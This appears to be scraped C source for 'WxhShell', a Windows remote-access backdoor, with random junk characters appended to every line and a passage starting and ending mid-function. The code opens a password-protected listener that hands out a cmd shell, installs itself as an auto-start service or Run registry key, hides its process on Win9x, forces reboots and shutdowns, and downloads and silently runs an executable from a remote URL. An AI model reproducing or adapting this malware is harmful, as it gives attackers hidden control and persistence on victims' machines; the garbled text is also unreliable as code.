    closesocket(wsh); 3M>FU4Ug2  
    ExitThread(0); pdXgr)Uv  
    } lhvZ*[[<)  
    break; jP{]LJ2.6\  
    } <:_]Yl  
  // 关机 l{7Dv1[Ss  
  case 'd': { u/c~PxC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y<gYf -E+  
    if(Boot(SHUTDOWN)) hG0lR.:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4OESsN$O  
    else { 8^ZM U{  
    closesocket(wsh); 3=eGS  
    ExitThread(0); My43\p  
    } xQ(KmP2hl  
    break; dpOL1rrE  
    }  ~d<`L[  
  // 获取shell UY?]\4Om  
  case 's': { D;;o  
    CmdShell(wsh); j]] ziz,E  
    closesocket(wsh); "Qm~;x2kB  
    ExitThread(0); V IRv  
    break; 5a/ A_..+I  
  } AFF>r#e  
  // 退出 }5c'ui!3H  
  case 'x': { eVNBhR}HS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9p0HFri[  
    CloseIt(wsh); bD^ob.c.A  
    break; K=^_Ndz  
    } AK\g-]8  
  // 离开 _ZE$\5>-  
  case 'q': { E9+O\"e9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~.y4 ,-  
    closesocket(wsh); Ph!NY i,  
    WSACleanup(); CIs1*:Q9  
    exit(1); t2%bHIG}  
    break; Nv$gKC6 ,G  
        } 0:(dl@I)@  
  } Vm%ux>}  
  } kjYO0!C  
 ! 6i  
  // 提示信息 fw~%^*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [T?6~^m=  
} :^.87>V7  
  } ?ia[KLt"  
m_O=X8uj"D  
  return; 'MM~ ~:  
} q,h.W JI  
IfI$  
// shell模块句柄 5'L}LT8p@  
int CmdShell(SOCKET sock) g7q]Vj  
{ d4=u`2w  
STARTUPINFO si; .Y Frb+6  
ZeroMemory(&si,sizeof(si)); 5r}(|86O/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VlXy&oZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~$&r(9P  
PROCESS_INFORMATION ProcessInfo; |k9j )Hg(  
char cmdline[]="cmd"; $TW+LWb   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G&@RLht  
  return 0; vh{1u  
} b(rBha|  
3<Y;mA=hw  
// 自身启动模式 OG$iZiuf  
int StartFromService(void) KKTfxNxJn  
{ WiCM,wDi  
typedef struct 4 Fc1 '  
{ tf}Q%)`f  
  DWORD ExitStatus; :zy'hu;  
  DWORD PebBaseAddress; thboHPml{  
  DWORD AffinityMask; o2U J*4  
  DWORD BasePriority; z\ $>k_  
  ULONG UniqueProcessId; >Zp]vK~s  
  ULONG InheritedFromUniqueProcessId; xM"XNT6b  
}   PROCESS_BASIC_INFORMATION; qk{UO <  
[#h!3d|?B  
PROCNTQSIP NtQueryInformationProcess; oUS>p":  
+?g,&NE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \}Kp=8@nE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xB]v  
+P;D}1B#I?  
  HANDLE             hProcess; 7^e}|l  
  PROCESS_BASIC_INFORMATION pbi; <cc0phr  
F[giq 1#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D`@U[`Sw  
  if(NULL == hInst ) return 0; g<5Pc,  
s~ZC!-[;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aV%rq9Tp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *LQY6=H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qvg"5_26v  
"TNUw&ih  
  if (!NtQueryInformationProcess) return 0; .T>}O0L"  
*X55:yha  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G~L#v AY  
  if(!hProcess) return 0; ^\9G{}VY  
. zMM86c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7I3CPc$  
xE[tD? M{  
  CloseHandle(hProcess); I%WK*AORM  
l\y*wr`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H ?:#Ui(p  
if(hProcess==NULL) return 0; ]ZATER)jq  
JF=ABJ=  
HMODULE hMod; &H>dE]Hq,  
char procName[255]; I,uu>-  
unsigned long cbNeeded; cCCplL  
DLM9o3/*J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'GoeVq  
*N+aZV}`Z  
  CloseHandle(hProcess); ~7H.<kJt  
;;H:$lx  
if(strstr(procName,"services")) return 1; // 以服务启动 RN3D:b+  
V2* |j8|  
  return 0; // 注册表启动 a<36`#N  
} z=pV{ '  
.T X& X  
// 主模块 "x^bl+_"  
int StartWxhshell(LPSTR lpCmdLine) zUu>kJZ  
{ \gXx{rLW  
  SOCKET wsl; 1qN9bwRO  
BOOL val=TRUE; $q+`GXc-  
  int port=0; ^*W<$A_  
  struct sockaddr_in door; aRP+?}b">  
hjT1SW\I  
  if(wscfg.ws_autoins) Install(); A^pp'{ !.  
mwhn=y#]*  
port=atoi(lpCmdLine); Y%9F  
D/`E!6Fk=  
if(port<=0) port=wscfg.ws_port; Kn\(Xd.>  
pa73`Ca]  
  WSADATA data; x)5v8kgf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H)+kN'J  
m%\[1|N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JOq<lb=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R/YL1s  
  door.sin_family = AF_INET; 3?(p;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7y7y<`)I5  
  door.sin_port = htons(port); :_zKUv]  
%lmRe(M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wpI4P:  
closesocket(wsl); 7rg[5hP T  
return 1; T480w6-@  
} PyF4uCn"H  
0GVok$r@  
  if(listen(wsl,2) == INVALID_SOCKET) { v[ '5X  
closesocket(wsl); JwczE9~o  
return 1; dVfDS-v!  
} DyZ90]N  
  Wxhshell(wsl); h)`vc#"65k  
  WSACleanup(); `:4cb $  
#^V"=RbD  
return 0; 2ow\d b  
+60;z4y}w  
} 1ouTZ'c?  
vsR ^aVwVZ  
// 以NT服务方式启动 LeCU"~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) es]m 6A  
{ N8vl< Mq  
DWORD   status = 0; c.WT5|:qw  
  DWORD   specificError = 0xfffffff; /XB1U[b  
0xcqX!(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b4ivWb|`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X>>rvlDN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BI]t}7  
  serviceStatus.dwWin32ExitCode     = 0; WG{/I/bJ_  
  serviceStatus.dwServiceSpecificExitCode = 0; mio'm  
  serviceStatus.dwCheckPoint       = 0; cf'Z#NfQ  
  serviceStatus.dwWaitHint       = 0; ?Gfe?  
V:J6eks_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (?[cDw/{J:  
  if (hServiceStatusHandle==0) return; '3->G/Pu  
N~d]}J8}gx  
status = GetLastError(); P|U>(9;P,  
  if (status!=NO_ERROR) ]0le=Ee^%  
{ +s}28U!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E>D@#I>  
    serviceStatus.dwCheckPoint       = 0; swA"_A8>u  
    serviceStatus.dwWaitHint       = 0; W~FA9Jd'Z  
    serviceStatus.dwWin32ExitCode     = status; quYZD6IH  
    serviceStatus.dwServiceSpecificExitCode = specificError; s#[Ej&2[=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); STI3|}G*P  
    return; ) b8*>k  
  } ^B9wmxe  
3!L)7Z/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'c D"ZVm1  
  serviceStatus.dwCheckPoint       = 0; 8<xy *=%  
  serviceStatus.dwWaitHint       = 0; NU[{oI<a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BoqW;SG$9  
} r%9Sx:F  
! N p  
// 处理NT服务事件,比如:启动、停止 oH0\6:S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =I1@O9}+i  
{ jp]JF h;3  
switch(fdwControl) AtOB'=ph*  
{ < lrw7T  
case SERVICE_CONTROL_STOP: )J0VB't  
  serviceStatus.dwWin32ExitCode = 0; t;'.D @  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _HQa3wj  
  serviceStatus.dwCheckPoint   = 0; KWo)}m*6  
  serviceStatus.dwWaitHint     = 0; HApP*1J^c  
  { w[ngkLEA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @\R)k(F  
  } ^-_!:7TH]  
  return; (XH)1 -Z!  
case SERVICE_CONTROL_PAUSE: f@mM&e=f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {UNz UaE  
  break; \ck3y]a[  
case SERVICE_CONTROL_CONTINUE: LzfLCGA^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =`U[{3A_  
  break; Cu]X &l  
case SERVICE_CONTROL_INTERROGATE: .8m)^ET  
  break; :\Z0^{  
}; "e"`Or  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S}/CzQ  
} S}E@*t2 h  
d?mdw ?|  
// 标准应用程序主函数 j; C(:6#J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,3j*D+  
{ THJ+OnP  
Q8n?7JB  
// 获取操作系统版本 ^9nM)[/C?  
OsIsNt=GetOsVer(); 2,\u Y}4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &g`a [#  
P,wJ@8lv  
  // 从命令行安装 0)NHjKP  
  if(strpbrk(lpCmdLine,"iI")) Install(); v\c3=DbO  
khfE<<$=  
  // 下载执行文件 or<JjTJ\o_  
if(wscfg.ws_downexe) { i/L1KiCLx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hmo?gD<  
  WinExec(wscfg.ws_filenam,SW_HIDE); L[K_!^MZ  
} ){} #v&  
n7G$gLX  
if(!OsIsNt) { a_yV*N`D  
// 如果时win9x,隐藏进程并且设置为注册表启动 i@RjG   
HideProc(); -1R~3j1_  
StartWxhshell(lpCmdLine); \WTg0b[  
} SUw{xGp  
else kLhtkuS4  
  if(StartFromService()) yBoZ@9Do  
  // 以服务方式启动 ]V_9[=%  
  StartServiceCtrlDispatcher(DispatchTable); f`%k@\  
else I2 dt#  
  // 普通方式启动 Fmu R(f=  
  StartWxhshell(lpCmdLine); <O WPG,  
R Mm`<:H_  
return 0; T^'i+>F!w  
} ziOmmL(r  
:97`IV%  
T2d pn%I  
O6pjuhMx  
=========================================== &~& i >  
-4]6tt'G  
]k8XLgJ  
+ y^s 6j}  
w-2]69$k  
JTC&_6  
" ^:],JN k  
P7o6B,9  
#include <stdio.h> F ;D_zo?  
#include <string.h> V)`? J)  
#include <windows.h> _#_Ab8#  
#include <winsock2.h> +G~b-}  
#include <winsvc.h> qH ~usgqB7  
#include <urlmon.h> X[w9~t$\  
- zkB`~u_  
#pragma comment (lib, "Ws2_32.lib") QUNsS9  
#pragma comment (lib, "urlmon.lib") QNo}nl /N  
<L-L}\-I"  
#define MAX_USER   100 // 最大客户端连接数 P(4[<'H O  
#define BUF_SOCK   200 // sock buffer O ?4V($  
#define KEY_BUFF   255 // 输入 buffer Q,$x6YwE  
?`r/_EKNv  
#define REBOOT     0   // 重启 fq(e~Aqw$  
#define SHUTDOWN   1   // 关机 rLnu\X=h$  
/~yqZD<O  
#define DEF_PORT   5000 // 监听端口 S8y4 p0mV  
im' 0^  
#define REG_LEN     16   // 注册表键长度 Ov9.qNT  
#define SVC_LEN     80   // NT服务名长度 NF.SGga  
l^_X?L@  
// 从dll定义API g41LpplX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gc'H F"w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !cpBX>{w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >|s=l`"Xz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j@DyWm/7  
@sDd:> t  
// wxhshell配置信息 jK{MU) D+  
struct WSCFG { @dXf_2Tv=  
  int ws_port;         // 监听端口 CtfSfSAUuu  
  char ws_passstr[REG_LEN]; // 口令 zQ [mO  
  int ws_autoins;       // 安装标记, 1=yes 0=no z23KSPo  
  char ws_regname[REG_LEN]; // 注册表键名 yH`xk%q_  
  char ws_svcname[REG_LEN]; // 服务名 SXT/9FteZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SlZu-4J.-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =$'Zmb [D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /b*@dy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kC+A7k6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X;1q1X)K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;2iZX=P`n  
TnG"_VK9R  
}; vfjIpg%i  
L?P8/]DGp  
// default Wxhshell configuration Zy#r<j]T  
struct WSCFG wscfg={DEF_PORT, MMf6QxYf  
    "xuhuanlingzhe", z TK  
    1, <.<Nw6  
    "Wxhshell", >GcFk&x  
    "Wxhshell", \yy!?UlaI  
            "WxhShell Service", 1w5nBVC*$V  
    "Wrsky Windows CmdShell Service", Ip4~qGJ  
    "Please Input Your Password: ", LP\ Qwj{  
  1, T/3UF  
  "http://www.wrsky.com/wxhshell.exe", U*b SM8)L*  
  "Wxhshell.exe" HDaec`j  
    }; L}9 @kjW  
c.~|)^OXXO  
// 消息定义模块 56 )B/0=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iZ:-V8{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QIw.`$H+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aql*@8 )m  
char *msg_ws_ext="\n\rExit."; 1a' JNe$  
char *msg_ws_end="\n\rQuit."; &Ls0!dWC  
char *msg_ws_boot="\n\rReboot..."; RI`A<*>w  
char *msg_ws_poff="\n\rShutdown..."; ^R\blJQ<^  
char *msg_ws_down="\n\rSave to "; 1eJ\CdI  
%ry>p(-pC(  
char *msg_ws_err="\n\rErr!"; K'tz_:d|  
char *msg_ws_ok="\n\rOK!"; }O>IPRZ  
cmI8Xf]"P-  
char ExeFile[MAX_PATH]; Ik,w3}*P*  
int nUser = 0; r1\.Jz  
HANDLE handles[MAX_USER]; DK- =Q~`!  
int OsIsNt; l9Vim9R5T  
u Qj#U m8  
SERVICE_STATUS       serviceStatus; ZLV~It&)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R|vF*0)>W  
H(X~=r  
// 函数声明 <omz9d1  
int Install(void); ks{s Q@~  
int Uninstall(void); \kRBJ1)|f  
int DownloadFile(char *sURL, SOCKET wsh); 6y0C  
int Boot(int flag); ZDb`]c4(  
void HideProc(void); $?A]!Y;  
int GetOsVer(void); ufo?ZFq@$L  
int Wxhshell(SOCKET wsl); ' ZJ6p0  
void TalkWithClient(void *cs); K{iYp4pU  
int CmdShell(SOCKET sock); <(iOzn  
int StartFromService(void); #:yZJS9f9  
int StartWxhshell(LPSTR lpCmdLine); nO/5X>A,Zw  
(tz! "K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x4. #_o&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $~-j-0 \m  
yTEuf@  
// 数据结构和表定义 7KEGTKfW  
SERVICE_TABLE_ENTRY DispatchTable[] = md_Ld /  
{ J@5 OZFMZ  
{wscfg.ws_svcname, NTServiceMain}, K%g\\uo   
{NULL, NULL} OlK2<<  
}; lojn8uL  
A~6 Cs  
// 自我安装 F,W(H@ ~x  
int Install(void) H^s SHj  
{ p$V+IJtO(  
  char svExeFile[MAX_PATH]; S\,{ qhd  
  HKEY key; ff0B*0  
  strcpy(svExeFile,ExeFile); Fc]#\d6  
;~K($_#H  
// 如果是win9x系统,修改注册表设为自启动 l>]M^=,&7  
if(!OsIsNt) { tY#^3ac  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xq{4i|d)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '=2t(@aC  
  RegCloseKey(key); N.<hZ\].=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r~;N(CG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Grqs*V &|g  
  RegCloseKey(key); w"e2}iE7  
  return 0; +!<`$+W  
    } W) _B(;$]  
  } Z`%;bP:  
} l{R)yTO  
else { Xu$*ZJ5w  
aZ^lI 6@+4  
// 如果是NT以上系统,安装为系统服务 ^>" ?!lv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :b=0_<G  
if (schSCManager!=0) |WX4L7yrhK  
{ ob;oxJ@[c  
  SC_HANDLE schService = CreateService %(]rc%ry0  
  ( <(^pHv7Q  
  schSCManager, ,i|f8pZ  
  wscfg.ws_svcname, vfm-K;,#  
  wscfg.ws_svcdisp, #7>CLjI  
  SERVICE_ALL_ACCESS, bcYz?o6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |( V3  
  SERVICE_AUTO_START, -bE|FFU  
  SERVICE_ERROR_NORMAL, >"[u.1J_'I  
  svExeFile, YU`{  
  NULL, YszhoHYh  
  NULL, 26**tB<  
  NULL, &td#m"wI  
  NULL, EAfSbK3z  
  NULL u|ZO"t  
  ); {)y4Qp  
  if (schService!=0) _H,RcpyJ  
  { 6i4j(P  
  CloseServiceHandle(schService); phdN9<Z  
  CloseServiceHandle(schSCManager); c1^3lgPv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p c],H  
  strcat(svExeFile,wscfg.ws_svcname); +D@R'$N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (07d0<<[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " duJl-  
  RegCloseKey(key); {x: IsQZ  
  return 0; x#^kv)  
    } OrBFe *2y  
  } P#xn!fMi  
  CloseServiceHandle(schSCManager); B]vj1m`9  
}  #59zv=  
} j;3o9!.s:  
j7d;1 zB+G  
return 1; D.!4i.)8}  
} $d"+Njd  
V*aTDU%-.  
// 自我卸载 !8g y)2  
int Uninstall(void) 4Bn+L,}.  
{ *.RVH<W=8  
  HKEY key; !=we7vK}  
cMv3` $  
if(!OsIsNt) { UQFuEI<1-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @o ED tN  
  RegDeleteValue(key,wscfg.ws_regname); DXt^Ym5Cv  
  RegCloseKey(key); 1<83MO;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2XtQ"`)  
  RegDeleteValue(key,wscfg.ws_regname); eG v"&kr  
  RegCloseKey(key); zN1;v6;  
  return 0; dUZ&Ty^{  
  } 55,-1tWs  
} X&IY(CX  
} Q?@G>uz  
else { 2}b bdXx  
v4$,Vt:7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .tNB07=7  
if (schSCManager!=0) *v+ fkg  
{ #!/Nmd=Nj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8'_Y=7b0Nw  
  if (schService!=0) ^Ram8fW  
  { w(D9'  
  if(DeleteService(schService)!=0) { {@A2jk\  
  CloseServiceHandle(schService); Oq5k4  
  CloseServiceHandle(schSCManager); ;qMlGXW*q  
  return 0; V'.|IuN  
  } pB./L&h  
  CloseServiceHandle(schService); i`qh|w/b_  
  } =S,<yQJ  
  CloseServiceHandle(schSCManager); 9o`3g@6z  
} 7 SZR#L  
} : +Kesa:E  
5*$Zfuf  
return 1; 2e"}5b5  
} _HsvF[\[  
_SqrQ  
// 从指定url下载文件 9[D7N  
int DownloadFile(char *sURL, SOCKET wsh) YC'~8\x3z  
{ @Hh"Y1B  
  HRESULT hr; ;[9Is\  
char seps[]= "/"; 4lCm(#T{,  
char *token; 7Cf(y'w^  
char *file; bSLj-vp  
char myURL[MAX_PATH]; 4(82dmKO  
char myFILE[MAX_PATH]; ny={V*m  
([~`{,sv  
strcpy(myURL,sURL); c29Z1Zs2)  
  token=strtok(myURL,seps); 1tdCzbEn+  
  while(token!=NULL) 27:x5g?  
  { "=.|QKC1`  
    file=token;  ZsZ1  
  token=strtok(NULL,seps); :(Bi {cw  
  } $Stu-l1e a  
$P3nP=mf  
GetCurrentDirectory(MAX_PATH,myFILE); OB22P%  
strcat(myFILE, "\\"); ?sYjFiE  
strcat(myFILE, file); ub5hX{uT  
  send(wsh,myFILE,strlen(myFILE),0); Hea<!zPH  
send(wsh,"...",3,0); Y=Qf!Cq]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W<"\hQI  
  if(hr==S_OK) `'WLGQG  
return 0; Kf#!IY][  
else sjm79/  
return 1;  t;Om9  
Z > =Y  
} kqw? X{  
_+iz?|U  
// 系统电源模块 #1@~w}Dh  
int Boot(int flag) VKz<7K\/  
{ UmX[=D|  
  HANDLE hToken; Oy$BR <\  
  TOKEN_PRIVILEGES tkp; ~py0Vx,F  
BtChG] N|  
  if(OsIsNt) { xQap44KPZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VsEAo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u(702S4  
    tkp.PrivilegeCount = 1; +_P 2S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :g#it@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E e>j7k.G.  
if(flag==REBOOT) { uW=NH;u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &,]+>  
  return 0; D|9fHMg %  
} dRm'$ G9  
else { `g N68:B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N1~$ +  
  return 0; (L%q/$  
} X:&p9_O@  
  } lVtn$frp  
  else { 7"ps#)O  
if(flag==REBOOT) { E2'e}RQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZGhoV#T@  
  return 0; 4&hqeY3  
} j9'XZq}  
else { yMl'1W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CL :M>(  
  return 0; 8p{  
} 2EwWV 0BS  
} gecT*^  
jMui+G(h  
return 1; NP'Ke:  
} ?3,tG z)  
OB^?cA>  
// win9x进程隐藏模块 5dw@g4N %^  
void HideProc(void) oh0|2IrM  
{ b.q"s6u  
A>%UYA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h^kNM8  
  if ( hKernel != NULL ) GY]6#>D#7  
  { h!av)nhM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l~TIFmHkh%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gj8[*3d  
    FreeLibrary(hKernel); 8:?Q(M7  
  } sJK:xk.6!  
ZHECcPhz  
return; :*:fu n  
} kah3Uhr~  
jI`To%^ Y  
// 获取操作系统版本 Kx 185Q'W  
int GetOsVer(void) 0nq}SH  
{ *M<BPxh0w]  
  OSVERSIONINFO winfo; Dh(T) yc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !riMIl1  
  GetVersionEx(&winfo); f\_!N "HW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [j]J_S9jJ  
  return 1; ec4%Wk2  
  else S{i@=:  
  return 0; bSR+yr'?  
} _JJKbi  
_% 9+U [@  
// 客户端句柄模块 \*!%YTZ~  
int Wxhshell(SOCKET wsl) R|J>8AL}BY  
{ [S&O-b8A  
  SOCKET wsh; fwv T2G4  
  struct sockaddr_in client; <&s)k  
  DWORD myID; +M O5'z  
J*~2 :{=%  
  while(nUser<MAX_USER) gq_7_Y/  
{ j /dE6d  
  int nSize=sizeof(client); Z F yX@#B9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PT@e),{~o9  
  if(wsh==INVALID_SOCKET) return 1; ph12x: @B  
]n]uN~)9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q\'P1~  
if(handles[nUser]==0) JRjMt-7H_  
  closesocket(wsh); C:GHP$/}  
else T ~~[a|bLa  
  nUser++; z5&%T}$tJ  
  } g;#KBxE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2C33;?M  
LH/&\k  
  return 0; Ik-E4pxKo  
} X]pWvQ Q]  
-8Jl4F ,  
// 关闭 socket *- IlF]  
void CloseIt(SOCKET wsh) #"p1Qea$  
{ 5Jhbf2-  
closesocket(wsh); r5!x,{E6  
nUser--; g3~~"`2  
ExitThread(0); lc3S|4  
} 3pTS@  
Fwx~ ~"I  
// 客户端请求句柄 ZCE%38E N  
void TalkWithClient(void *cs) F'>GN}n  
{ nl-t<#z[  
Q_]!an(  
  SOCKET wsh=(SOCKET)cs; $dZ>bXUw:  
  char pwd[SVC_LEN]; 5}MlZp  
  char cmd[KEY_BUFF]; ELrZ8&5G  
char chr[1]; &!DZW 5  
int i,j; F;Q_*0mIQ  
()nKug`.@  
  while (nUser < MAX_USER) { j*H;a ?Y  
\5_P5q:`  
if(wscfg.ws_passstr) { uO_,n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FJd8s*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A |taP$ %  
  //ZeroMemory(pwd,KEY_BUFF); {GQ Aa  
      i=0; 3$$5Mk(&  
  while(i<SVC_LEN) { "wF ?Hamz  
\at-"[.  
  // 设置超时 ZO%fS'n  
  fd_set FdRead; N(_ .N6  
  struct timeval TimeOut; z>mZT.  
  FD_ZERO(&FdRead); >FY&-4+v  
  FD_SET(wsh,&FdRead); xOV A1p b,  
  TimeOut.tv_sec=8; o!s%h!%L  
  TimeOut.tv_usec=0; $d2kHT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yxG:\y b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8_<&f%/  
esh$*)1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u 5Eo  
  pwd=chr[0]; z{`6#  
  if(chr[0]==0xd || chr[0]==0xa) { ;zZ,3pl-E  
  pwd=0; ovQS ET18b  
  break; LZUA+x(  
  } d DIQ+/mmg  
  i++; ^.@yF;H  
    } |C$:]MZx  
4V228>9w  
  // 如果是非法用户,关闭 socket (0OSGG9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oN[Fza>  
} tKG;k"wk  
@zr8%8n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o <D3Y95b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7wiK.99  
Q\o$**+{  
while(1) { l$qStL*8O  
YeRcf`  
  ZeroMemory(cmd,KEY_BUFF); }>{ L#JW  
om".j  
      // 自动支持客户端 telnet标准   i>tW|N  
  j=0; ~']&.  
  while(j<KEY_BUFF) { a9D gy_!Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VMxYZkMNd_  
  cmd[j]=chr[0]; C!ZI&cD9  
  if(chr[0]==0xa || chr[0]==0xd) { tp1KP/2w[  
  cmd[j]=0; (XbMrPKG  
  break; FylWbQU9  
  } hF7V !*5  
  j++; G}=`VYK  
    } CdBthOPX)  
i O%Zd[  
  // 下载文件 G *mO&:q  
  if(strstr(cmd,"http://")) { _&; ZmNNhc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b?Cmc  
